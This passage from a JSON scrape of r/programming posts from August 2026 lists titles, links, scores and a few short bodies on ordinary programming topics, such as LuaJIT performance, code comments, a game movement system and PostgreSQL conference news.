  "upvoteRatio": 0.67,
  "numComments": 0,
  "createdAt": "2026-08-11T09:57:30.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://www.architecture-weekly.com/p/vertical-slices-their-ownership-and",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "new",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1vl8ulp",
  "url": "https://marc-b-reynolds.github.io/math/2026/08/10/IntDivByFP.html",
  "permalink": "https://www.reddit.com/r/programming/comments/1vl8ulp/moving_integer_division_to_floatingpoint_is/",
  "title": "Moving integer division to floating-point is trivial",
  "body": null,
  "author": "mttd",
  "subreddit": "programming",
  "score": 115,
  "upvoteRatio": 0.91,
  "numComments": 34,
  "createdAt": "2026-08-11T05:48:54.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://marc-b-reynolds.github.io/math/2026/08/10/IntDivByFP.html",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "new",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1vkwqh0",
  "url": "https://blog.helsing.ai/posts/on-comments/",
  "permalink": "https://www.reddit.com/r/programming/comments/1vkwqh0/on_comments/",
  "title": "On comments",
  "body": "Comments in code are often deemed \"mostly useless\" these days. They are, supposedly, mostly obvious, stale, and repeat what the code already says. And so people pay less attention to them both when reading and writing code.\n\nThat trend sucks. When used right, comments are genuinely useful and sometimes critically important! So, I wrote about some of the kinds of comments I think earn their place, each with examples from real code bases. Hope you find it useful, and that we can recover some of the love that comments deserve!",
  "author": "Jonhoo",
  "subreddit": "programming",
  "score": 186,
  "upvoteRatio": 0.84,
  "numComments": 172,
  "createdAt": "2026-08-10T20:42:09.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://blog.helsing.ai/posts/on-comments/",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "new",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1vkua29",
  "url": "https://research.colfax-intl.com/optimizing-an-nvfp4-blockscaled-gemm-on-rtx-pro-6000-blackwell-gpu-sm120/",
  "permalink": "https://www.reddit.com/r/programming/comments/1vkua29/optimizing_an_nvfp4_blockscaled_gemm_on_rtx_pro/",
  "title": "Optimizing an NVFP4 Blockscaled GEMM on RTX PRO 6000 Blackwell GPU (SM120)",
  "body": null,
  "author": "mttd",
  "subreddit": "programming",
  "score": 5,
  "upvoteRatio": 0.62,
  "numComments": 0,
  "createdAt": "2026-08-10T19:12:17.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://research.colfax-intl.com/optimizing-an-nvfp4-blockscaled-gemm-on-rtx-pro-6000-blackwell-gpu-sm120/",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "new",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1vkirhv",
  "url": "https://lordgoati.us/blog/tail-call/",
  "permalink": "https://www.reddit.com/r/programming/comments/1vkirhv/tailcall_interpreters_in_rust/",
  "title": "Tail-Call Interpreters in Rust",
  "body": null,
  "author": "jorgesgk",
  "subreddit": "programming",
  "score": 14,
  "upvoteRatio": 0.85,
  "numComments": 4,
  "createdAt": "2026-08-10T11:57:49.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://lordgoati.us/blog/tail-call/",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "new",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1vkfmkf",
  "url": "https://2026.pgconf.eu/registration/",
  "permalink": "https://www.reddit.com/r/programming/comments/1vkfmkf/pgconfeu_2026_schedule_is_live/",
  "title": "PGConf.EU 2026 schedule is live 🐘",
  "body": "[PGConf.EU](http://PGConf.EU) is coming to Valencia on 20–22 October, with five tracks covering PostgreSQL administration, internals, development, the community, and real-world use cases.\n\nTopics include autovacuum, backups, high availability, performance tuning, WAL and recovery, query execution, memory management, corruption detection, and PostgreSQL 19.\n\nPostgreSQL also turns 30 this year, so the Community track will look back at the project’s history and how it is maintained today.\n\nCommunity Events Day takes place on 23 October.\n\nSchedule: [https://www.postgresql.eu/events/pgconfeu2026/schedule/](https://www.postgresql.eu/events/pgconfeu2026/schedule/)\n\nRegistration: [https://2026.pgconf.eu/registration/](https://2026.pgconf.eu/registration/) ",
  "author": "pseudounion",
  "subreddit": "programming",
  "score": 6,
  "upvoteRatio": 0.67,
  "numComments": 1,
  "createdAt": "2026-08-10T09:05:27.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://2026.pgconf.eu/registration/",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "new",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1vkdq8p",
  "url": "https://baweaver.com/writing/2026/08/09/beyond-senior-creating-hope/",
  "permalink": "https://www.reddit.com/r/programming/comments/1vkdq8p/beyond_senior_creating_hope/",
  "title": "Beyond Senior - Creating Hope",
  "body": "Every time I leave a role I try and write up where my philosophy landed and what I want to take into my next role. Having seen this play out at enough companies over the years to where people progressively lose motivation and stop believing change is possible I've come to the opinion that one of the most valuable things we can do as engineering leaders is to provide hope.\n\nThe post goes more into it, but I do not mean any vapid rah-rah motivational speeches, I mean earning back that hope every day by snowballing small wins into larger ones and making people believe that their effort matters.",
  "author": "keyslemur",
  "subreddit": "programming",
  "score": 106,
  "upvoteRatio": 0.84,
  "numComments": 40,
  "createdAt": "2026-08-10T07:09:44.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://baweaver.com/writing/2026/08/09/beyond-senior-creating-hope/",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "new",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1vjpp19",
  "url": "https://python-patterns.guide/python/sentinel-object/",
  "permalink": "https://www.reddit.com/r/programming/comments/1vjpp19/the_sentinel_object_pattern_in_python/",
  "title": "The Sentinel Object Pattern in Python",
  "body": "Officially added in Python 3.15\n\n[https://peps.python.org/pep-0661/](https://peps.python.org/pep-0661/)",
  "author": "Grouchy-Trade-7250",
  "subreddit": "programming",
  "score": 29,
  "upvoteRatio": 0.72,
  "numComments": 10,
  "createdAt": "2026-08-09T13:18:36.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://python-patterns.guide/python/sentinel-object/",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "new",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1vjndxo",
  "url": "https://leetarxiv.substack.com/p/hungarian-assignment-algorithm",
  "permalink": "https://www.reddit.com/r/programming/comments/1vjndxo/hungarian_assignment_algorithm_applied_optimal/",
  "title": "Hungarian Assignment Algorithm: Applied Optimal Transport for Programmers",
  "body": null,
  "author": "DataBaeBee",
  "subreddit": "programming",
  "score": 38,
  "upvoteRatio": 0.82,
  "numComments": 16,
  "createdAt": "2026-08-09T11:23:07.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://leetarxiv.substack.com/p/hungarian-assignment-algorithm",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "new",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1vjketg",
  "url": "https://github.com/xoreaxeaxeax/asm-hall-of-shame",
  "permalink": "https://www.reddit.com/r/programming/comments/1vjketg/assembly_hall_of_shame_racing_to_the_bottom_of/",
  "title": "Assembly Hall of Shame: Racing to the bottom of CPU performance",
  "body": null,
  "author": "f311a",
  "subreddit": "programming",
  "score": 560,
  "upvoteRatio": 0.97,
  "numComments": 53,
  "createdAt": "2026-08-09T08:27:04.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://github.com/xoreaxeaxeax/asm-hall-of-shame",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "new",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1vjhctl",
  "url": "https://www.youtube.com/watch?v=aQv9pUl9PBM",
  "permalink": "https://www.reddit.com/r/programming/comments/1vjhctl/reducing_graphics_api_complexity_a_clean_slate/",
  "title": "Reducing Graphics API Complexity: A Clean Slate Design for Modern GPUs",
  "body": null,
  "author": "mttd",
  "subreddit": "programming",
  "score": 64,
  "upvoteRatio": 0.9,
  "numComments": 8,
  "createdAt": "2026-08-09T05:29:42.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://www.youtube.com/watch?v=aQv9pUl9PBM",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "new",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1vjci5d",
  "url": "https://bernsteinbear.com/blog/zkp/",
  "permalink": "https://www.reddit.com/r/programming/comments/1vjci5d/a_quick_look_at_zeroknowledge_proofs/",
  "title": "A quick look at zero-knowledge proofs",
  "body": null,
  "author": "compilers-r-us",
  "subreddit": "programming",
  "score": 52,
  "upvoteRatio": 0.92,
  "numComments": 3,
  "createdAt": "2026-08-09T01:15:51.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://bernsteinbear.com/blog/zkp/",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "new",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1vj4cdd",
  "url": "https://www.redblobgames.com/blog/2026-08-08-differential-heuristics/",
  "permalink": "https://www.reddit.com/r/programming/comments/1vj4cdd/differential_heuristics_learning_about_a_way_to/",
  "title": "Differential heuristics: learning about a way to optimize the A* heuristic",
  "body": null,
  "author": "mttd",
  "subreddit": "programming",
  "score": 48,
  "upvoteRatio": 0.94,
  "numComments": 2,
  "createdAt": "2026-08-08T19:09:40.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://www.redblobgames.com/blog/2026-08-08-differential-heuristics/",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "new",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1vj203j",
  "url": "https://yogthos.net/posts/2026-08-07-portable-jolt.html",
  "permalink": "https://www.reddit.com/r/programming/comments/1vj203j/the_advantage_of_using_program_images_as_a_flight/",
  "title": "The advantage of using program images as a flight recorder instead of relying on logs",
  "body": null,
  "author": "yogthos",
  "subreddit": "programming",
  "score": 115,
  "upvoteRatio": 0.91,
  "numComments": 58,
  "createdAt": "2026-08-08T17:35:30.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://yogthos.net/posts/2026-08-07-portable-jolt.html",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "new",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1vix13t",
  "url": "https://davidlennon29.substack.com/p/why-i-stopped-grinding-leetcode?r=8vsn1z&utm_campaign=post-expanded-share&utm_medium=web",
  "permalink": "https://www.reddit.com/r/programming/comments/1vix13t/why_i_stopped_grinding_leetcode/",
  "title": "Why I Stopped Grinding LeetCode",
  "body": null,
  "author": "Business_Mix3602",
  "subreddit": "programming",
  "score": 0,
  "upvoteRatio": 0.3,
  "numComments": 38,
  "createdAt": "2026-08-08T14:11:12.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://davidlennon29.substack.com/p/why-i-stopped-grinding-leetcode?r=8vsn1z&utm_campaign=post-expanded-share&utm_medium=web",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "new",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1viswmi",
  "url": "http://ppc.land/stack-overflow-drops-to-1-442-questions-in-july-down-99-from-2014-peak",
  "permalink": "https://www.reddit.com/r/programming/comments/1viswmi/stack_overflow_drops_to_1442_questions_in_july/",
  "title": "Stack Overflow drops to 1,442 questions in July, down 99% from 2014 peak",
  "body": null,
  "author": "danie-l",
  "subreddit": "programming",
  "score": 3886,
  "upvoteRatio": 0.97,
  "numComments": 525,
  "createdAt": "2026-08-08T10:52:25.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "http://ppc.land/stack-overflow-drops-to-1-442-questions-in-july-down-99-from-2014-peak",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "new",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1virrlk",
  "url": "http://uncle-bob.com",
  "permalink": "https://www.reddit.com/r/programming/comments/1virrlk/dry_vs_srp/",
  "title": "DRY vs. SRP",
  "body": "After re-reading \"Clean Architecture\" I ended up with some confusion regarding Bob's take on repetition and single responsibility. Ge defines the SRP as a function only serving one actor. Dies that mean, that repetitve code is justified according to him, as long as it serves seperate actors/user groups? I am aware that such decisions depend on the specific situation. I was just wondering if others found the same contradiction, or if i misunderstood it. Thanks",
  "author": "TalesGameStudio",
  "subreddit": "programming",
  "score": 0,
  "upvoteRatio": 0.22,
  "numComments": 68,
  "createdAt": "2026-08-08T09:44:06.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "http://uncle-bob.com",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "new",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1vilqxz",
  "url": "https://refp.se/articles/your-shell-and-the-lazy-exclamation-mark",
  "permalink": "https://www.reddit.com/r/programming/comments/1vilqxz/a_shell_exclamation_mark_is_not_for_yelling_be/",
  "title": "A shell exclamation mark is not for yelling. Be lazy. | Filip Roséen",
  "body": null,
  "author": "refp",
  "subreddit": "programming",
  "score": 153,
  "upvoteRatio": 0.88,
  "numComments": 28,
  "createdAt": "2026-08-08T03:57:59.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://refp.se/articles/your-shell-and-the-lazy-exclamation-mark",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "new",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1vikuz4",
  "url": "https://youtu.be/MAnXlpXpFRQ",
  "permalink": "https://www.reddit.com/r/programming/comments/1vikuz4/heres_why_oop_makes_a_lot_of_sense_to_me/",
  "title": "Here's why OOP makes a lot of sense to me.",
  "body": "I kind of feel like OOP has a bad rep in the programming community. \n\nPersonally, after having programmed Java for over 20 years, its object-oriented programming model feels very natural to me. So, I wanted to share how I think about programming, how I translate my ideas and thoughts to code, and why OOP is actually a really nice programming style for me. \n\n\n\nPerhaps it could help you out too.",
  "author": "OSBY_Glabay",
  "subreddit": "programming",
  "score": 0,
  "upvoteRatio": 0.14,
  "numComments": 74,
  "createdAt": "2026-08-08T03:13:15.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://youtu.be/MAnXlpXpFRQ",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "new",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1vija3m",
  "url": "https://youtu.be/TB1ny8o4ImQ",
  "permalink": "https://www.reddit.com/r/programming/comments/1vija3m/solving_and_benchmarking_qubo_problems_with/",
  "title": "Solving and benchmarking QUBO problems with Gurobi in Python",
  "body": "State-of-the-art classical optimizer Gurobi for Quadratic Unconstrained Binary Optimization (QUBO) problems.\n\nThe core `gurobipy` implementation for QUBO is relatively compact:\n\n```python\nmodel = gp.Model()\nx = model.addMVar(n, vtype=GRB.BINARY)\nmodel.setObjective(x @ Q @ x, GRB.MINIMIZE)\nmodel.optimize()\n\nsolution = x.X.astype(int)\nobjective = model.ObjVal\n ```\n\nComplete workflow in Python. \nFirst formulate a graph problem (weighted Max-Cut) as QUBO, solve it with Gurobi, benchmark increasingly large instances, and understand what the solver is doing beyond the `optimize()` call.\n\n\nInterested in feedback on the modeling, benchmarking methodology, and which additional Gurobi metrics would make the comparison more rigorous.\n\n",
  "author": "Future_Ad7567",
  "subreddit": "programming",
  "score": 5,
  "upvoteRatio": 0.65,
  "numComments": 1,
  "createdAt": "2026-08-08T01:55:19.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://youtu.be/TB1ny8o4ImQ",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "new",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1vii2vi",
  "url": "https://jdk.java.net/28/",
  "permalink": "https://www.reddit.com/r/programming/comments/1vii2vi/jdk_28_ea_build10_is_now_available_for_download/",
  "title": "JDK 28 EA Build10 is now available for download and includes JEP 401: Value Objects (Preview) from Project Valhalla",
  "body": null,
  "author": "davidalayachew",
  "subreddit": "programming",
  "score": 34,
  "upvoteRatio": 0.92,
  "numComments": 6,
  "createdAt": "2026-08-08T00:56:24.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://jdk.java.net/28/",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "new",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1vhxjpv",
  "url": "https://zayenz.se/blog/post/constraint-generated-puzzle-games/",
  "permalink": "https://www.reddit.com/r/programming/comments/1vhxjpv/from_constraint_models_to_playable_puzzle_games/",
  "title": "From constraint models to playable puzzle games",
  "body": null,
  "author": "mzl",
  "subreddit": "programming",
  "score": 109,
  "upvoteRatio": 0.93,
  "numComments": 3,
  "createdAt": "2026-08-07T11:05:10.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://zayenz.se/blog/post/constraint-generated-puzzle-games/",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "new",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1vhp9ig",
  "url": "https://youtu.be/nqVFLZqVvQI",
  "permalink": "https://www.reddit.com/r/programming/comments/1vhp9ig/why_is_project_leyden_ahead_of_its_time/",
  "title": "Why is Project Leyden Ahead of its Time?",
  "body": null,
  "author": "OSBY_Glabay",
  "subreddit": "programming",
  "score": 0,
  "upvoteRatio": 0.27,
  "numComments": 0,
  "createdAt": "2026-08-07T03:20:50.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://youtu.be/nqVFLZqVvQI",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "new",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1vh96pd",
  "url": "https://lightsout.afterthought.games/blog/2026-07-26-19-00",
  "permalink": "https://www.reddit.com/r/programming/comments/1vh96pd/designing_a_movement_transaction_system_for_a/",
  "title": "Designing a Movement Transaction System for a Sokoban Game",
  "body": "## Context\n\n\nMy multiplayer game [Lights Out](https://store.steampowered.com/app/4610220/Lights_Out/) is based on a 2D grid.\nEntities can only ever be in exactly one grid tile.\nThis makes the rule evaluation really simple and understandable.\nHowever, it doesn't really feel nice to play (which you know if you've ever played any of the PuzzleScript games).\nAt the same time, the more content is in the game, the more complex and arbitrary the game rules become.\n\n\nI therefore introduced the `Movement Transaction System` into the code base to deal with this.\nThis includes two sides:\n- The gameplay code on server side deals with transactions. This bundles all movement code (including rule evaluation) into a single system.\n- The visualization & prediction code on client side deals with visual interpolation for moves (introducing some juice into the gameplay feel), based on the transactions managed by the server.\n\n\n## The Transaction\n\n\nA single transaction includes the movement delta, a list of entities that it has affected and some flags.\nA transaction then undergoes several stages:\n- `Queued`: Gameplay code has requested an entity to move\n- `Issued`: The visual interpolation for the transaction has started in the client, but the entities have not been moved from a gameplay perspective\n- `Committed`: The entities have now been moved onto their new tiles, the visual interpolation is finishing\n- `Aborted`: The transaction couldn't be committed as it would've violated gameplay rules. Visual interpolation is reversed.\n\n\n## The Visual Interpolation\n\n\nWhenever a transaction is issued on server-side, the server tells the clients to start a visual interpolation based on the transaction.\nThis information includes the desired duration of the interpolation, as well as some flags (like whether to use acceleration or do a linear interpolation).\nThe client then updates the visual interpolation every frame, until the transaction is either aborted or the target position has been reached.\n\n\n## Simplifying Gameplay Code\n\n\nThis new system has made the gameplay code much simpler.\nI can now easily query whether an entity currently has a live transaction to know whether the visual interpolation is still in progress.\nThis enables seamless, continuous movement across the world (e.g. for fireballs moving at linear speed).\n\n\nThis also guarantees that the visual position of an entity is always close enough to its gameplay (physical) position so that players aren't confused about the rule evaluation.\n\n\nFinally, the gameplay rules are now implemented in a single function called `validate_transaction`, instead of being spread out across all the different entities like it was before.\n\n\n## Summary\n\n\nThe transaction system made the gameplay code much simpler and easier to reason about, while also improving the game feel and robustness.\n\n\nYou can find the full blog most, including more details and sample code, over on https://lightsout.afterthought.games/blog/2026-07-26-19-00",
  "author": "an_unreal",
  "subreddit": "programming",
  "score": 1,
  "upvoteRatio": 0.56,
  "numComments": 2,
  "createdAt": "2026-08-06T16:30:07.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://lightsout.afterthought.games/blog/2026-07-26-19-00",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "new",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1vh8wl5",
  "url": "https://boostedcpp.net/2026/08/06/neoclassical-c-2-exploring-input-output-segmented-algorithms/",
  "permalink": "https://www.reddit.com/r/programming/comments/1vh8wl5/neoclassical_c_2_exploring_inputoutput_segmented/",
  "title": "Neoclassical C++ (2): Exploring input-output segmented algorithms",
  "body": null,
  "author": "igaztanaga",
  "subreddit": "programming",
  "score": 0,
  "upvoteRatio": 0.36,
  "numComments": 0,
  "createdAt": "2026-08-06T16:19:56.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://boostedcpp.net/2026/08/06/neoclassical-c-2-exploring-input-output-segmented-algorithms/",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "new",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1vh30bd",
  "url": "https://youtu.be/1o2E2n0KDZ4?list=PLEx5khR4g7PINwOsYrkwz3lTTJUYoXC53",
  "permalink": "https://www.reddit.com/r/programming/comments/1vh30bd/a_long_spring_19_years_of_living_with_your_past/",
  "title": "A Long Spring: 19 Years of Living with Your Past Mistakes • Arjen Poutsma",
  "body": null,
  "author": "goto-con",
  "subreddit": "programming",
  "score": 8,
  "upvoteRatio": 0.68,
  "numComments": 0,
  "createdAt": "2026-08-06T12:35:11.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://youtu.be/1o2E2n0KDZ4?list=PLEx5khR4g7PINwOsYrkwz3lTTJUYoXC53",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "new",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1vh24uw",
  "url": "https://blogs.oracle.com/java/post-quantum-cryptography-in-long-term-support-jdk-releases",
  "permalink": "https://www.reddit.com/r/programming/comments/1vh24uw/bringing_postquantum_cryptography_to_java_lts/",
  "title": "Bringing Post-Quantum Cryptography to Java LTS Releases",
  "body": null,
  "author": "donutloop",
  "subreddit": "programming",
  "score": 10,
  "upvoteRatio": 0.64,
  "numComments": 7,
  "createdAt": "2026-08-06T11:56:21.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://blogs.oracle.com/java/post-quantum-cryptography-in-long-term-support-jdk-releases",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "new",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1vgzrrt",
  "url": "https://phoboslab.org/log/2026/08/xibalba64-making-of",
  "permalink": "https://www.reddit.com/r/programming/comments/1vgzrrt/how_to_make_a_nintendo_64_game_in_2026/",
  "title": "How to Make a Nintendo 64 Game in 2026",
  "body": null,
  "author": "r_retrohacking_mod2",
  "subreddit": "programming",
  "score": 51,
  "upvoteRatio": 0.86,
  "numComments": 2,
  "createdAt": "2026-08-06T09:53:17.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://phoboslab.org/log/2026/08/xibalba64-making-of",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "new",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1vgzqd3",
  "url": "https://streamhpc.com/blog/2026-08-05/the-luajit-nyi-that-silently-poisoned-an-unrelated-hot-loop/",
  "permalink": "https://www.reddit.com/r/programming/comments/1vgzqd3/the_luajit_nyi_that_silently_poisoned_an/",
  "title": "The LuaJIT NYI That Silently Poisoned an Unrelated Hot Loop",
  "body": "I was optimizing the Lua transpiler for my modding language grug and ran into a really weird LuaJIT performance bug. The same benchmark could randomly run **20× slower**, and it turned out a LuaJIT NYI (Not Yet Implemented) could silently blacklist an unrelated hot loop.\n\nI wrote up the investigation here.\n\nIt goes from the benchmark mystery through LuaJIT's trace recorder internals, and ends with a PR to get unpack off LuaJIT's NYI list. Feedback is very welcome! :)",
  "author": "MyNameIsTrez",
  "subreddit": "programming",
  "score": 161,
  "upvoteRatio": 0.95,
  "numComments": 22,
  "createdAt": "2026-08-06T09:50:58.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://streamhpc.com/blog/2026-08-05/the-luajit-nyi-that-silently-poisoned-an-unrelated-hot-loop/",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "new",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1vgznmp",
  "url": "https://byroot.github.io/ruby/performance/2026/08/05/shrinking-ruby-hashes.html",
  "permalink": "https://www.reddit.com/r/programming/comments/1vgznmp/shrinking_ruby_hashes/",
  "title": "Shrinking Ruby Hashes",
  "body": null,
  "author": "mariuz",
  "subreddit": "programming",
  "score": 68,
  "upvoteRatio": 0.91,
  "numComments": 7,
  "createdAt": "2026-08-06T09:46:14.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://byroot.github.io/ruby/performance/2026/08/05/shrinking-ruby-hashes.html",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "new",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1vgc4xz",
  "url": "https://labs.iximiuz.com/tutorials/linux-processes-threads-concurrency-3302b677",
  "permalink": "https://www.reddit.com/r/programming/comments/1vgc4xz/linux_processes_threads_concurrency/",
  "title": "Linux Processes: Threads & Concurrency",
  "body": null,
  "author": "iximiuz",
  "subreddit": "programming",
  "score": 92,
  "upvoteRatio": 0.94,
  "numComments": 12,
  "createdAt": "2026-08-05T16:23:46.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://labs.iximiuz.com/tutorials/linux-processes-threads-concurrency-3302b677",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "new",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1vg8iyl",
  "url": "https://blog.serenedb.com/fuzzy-search-deep-dive",
  "permalink": "https://www.reddit.com/r/programming/comments/1vg8iyl/how_fuzzy_search_works_in_a_search_engine/",
  "title": "How fuzzy search works in a search engine: Levenshtein automata and n-gram similarity",
  "body": null,
  "author": "mr_gnusi",
  "subreddit": "programming",
  "score": 106,
  "upvoteRatio": 0.98,
  "numComments": 7,
  "createdAt": "2026-08-05T14:12:52.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://blog.serenedb.com/fuzzy-search-deep-dive",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "new",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1vg8bi5",
  "url": "https://www.chiply.dev/post-elisp-macros-are-beautiful",
  "permalink": "https://www.reddit.com/r/programming/comments/1vg8bi5/gödel_escher_elisp_the_beauty_of_macros/",
  "title": "Gödel, Escher, Elisp: The Beauty of Macros",
